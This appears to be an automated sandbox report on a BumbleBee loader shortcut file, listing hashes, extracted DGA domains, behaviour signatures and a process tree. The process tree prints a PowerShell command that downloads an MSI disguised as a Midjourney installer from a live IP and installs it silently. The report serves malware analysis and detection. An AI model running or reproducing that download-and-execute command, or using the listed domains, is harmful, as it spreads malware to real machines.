Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
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submitted
04-10-2024 01:06
General
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Target
106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f.lnk
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Size
3KB
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MD5
2aed3939fbf8f1967d68fcc746771889
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SHA1
eb04819a97ca2cf33211c6ea323a9c77cdfacfcf
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SHA256
106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f
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SHA512
0d45000b7a470655668e5c0c95aaab3911b75b3f4163abb02f9b6e987e070ad02af144d5f791ebf6940c5c838f35ff55f7c0b906ade62f47dde6ad9ff1750b1c
Malware Config
Extracted
bumblebee
msi
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dga
tvx1ovdepj8.life
acgr6r8zdot.life
ilofx941igp.life
8x2apo5m7ri.life
x9yrzer0ndt.life
93j4v4jopzd.life
ameagxzo2f7.life
nyy41uibsv5.life
ru4jvijdytq.life
l9t6r0y6cvi.life
f4vb9n3tdvh.life
9do3mcejztt.life
pxu1ajsdhqr.life
7exy2b231n2.life
vu5b47m18jn.life
6mnudp7zj73.life
p5047yjrb8q.life
d0xtxp89bb9.life
ygo9u1fkwux.life
fig3gj0v6qe.life
38f5wvwwn7o.life
txgogs9p8a1.life
uyn0icgx1kv.life
2z1ls31az7s.life
0cc2z8zrnhf.life
fsr2hskx44p.life
du19ek78tjw.life
234ct3lkozp.life
he8fq4k8d3w.life
7ewh8ltr7il.life
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dga_seed
1.0163655285949564e+18
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domain_length
11
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num_dga_domains
100
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port
443
Signatures
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BumbleBee
BumbleBee is a loader malware written in C++.
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Blocklisted process makes network request 9 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Loads dropped DLL 6 IoCs
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Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in Windows directory 12 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 47 IoCs
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Suspicious use of WriteProcessMemory 9 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\Admin\AppData\Roaming\y.msi";msiexec /i C:\Users\Admin\AppData\Roaming\y.msi /qn2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Roaming\y.msi /qn3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4508,i,16315016104747277319,5510969007830467313,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:81⤵
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5CAFD04D6865106CEF9EEFDE1F68046D2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\System32\MsiExec.exe"C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"2⤵
- Blocklisted process makes network request
- Loads dropped DLL
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.1MB
MD540ee908eff9418d1cbcb36ea516ca34e
SHA1e13e947f3ce59a2a58ce09c2d8888053d685fa44
SHA2567df703625ee06db2786650b48ffefb13fa1f0dae41e521b861a16772e800c115
SHA512eedae343bf53411aa9a64e0f6ae9ee1ac15b6cdc02d94894604974e5d0ffcafc56f9df9afa368cab38a017785e559d75bb9dea95bffc78088048cf3b1ec7d639
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2.6MB
MD5c962d866683ba35349a00a70e9c759b4
SHA18527e1ab0068df818d5bc991bca0e12c442912c1
SHA256c26344bfd07b871dd9f6bd7c71275216e18be265e91e5d0800348e8aa06543f9
SHA512e05e172dc1c0b5feca7ca894d75790e1ceb1cf0f006d90ea6950041fadb14cec9503b628a09584a3bca21459618cc7ed7dd0b603572cdf5442391c74af5a68fb
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Filesize
816KB
MD5aa88d8f40a286b6d40de0f3abc836cfa
SHA1c24eab9e4b10b159b589f4c3b64ef3db111ea1c8
SHA2568d633efeda1249356b11bf8f46583242356e4f903056b53bd25a99511d1790a1
SHA5126c2f2f6a2d66015f30158962d653e381136f0f30023380a0ce95bd0944d856113fbde65db52dbb3b5de1c0e2edf2cd53184e721c64b916834be4198c61224519
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
8KB
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Filesize
10.8MB
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Filesize
136KB
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Filesize
2.1MB
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Filesize
2.1MB
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Filesize
2.1MB
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Filesize
2.1MB
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Filesize
2.1MB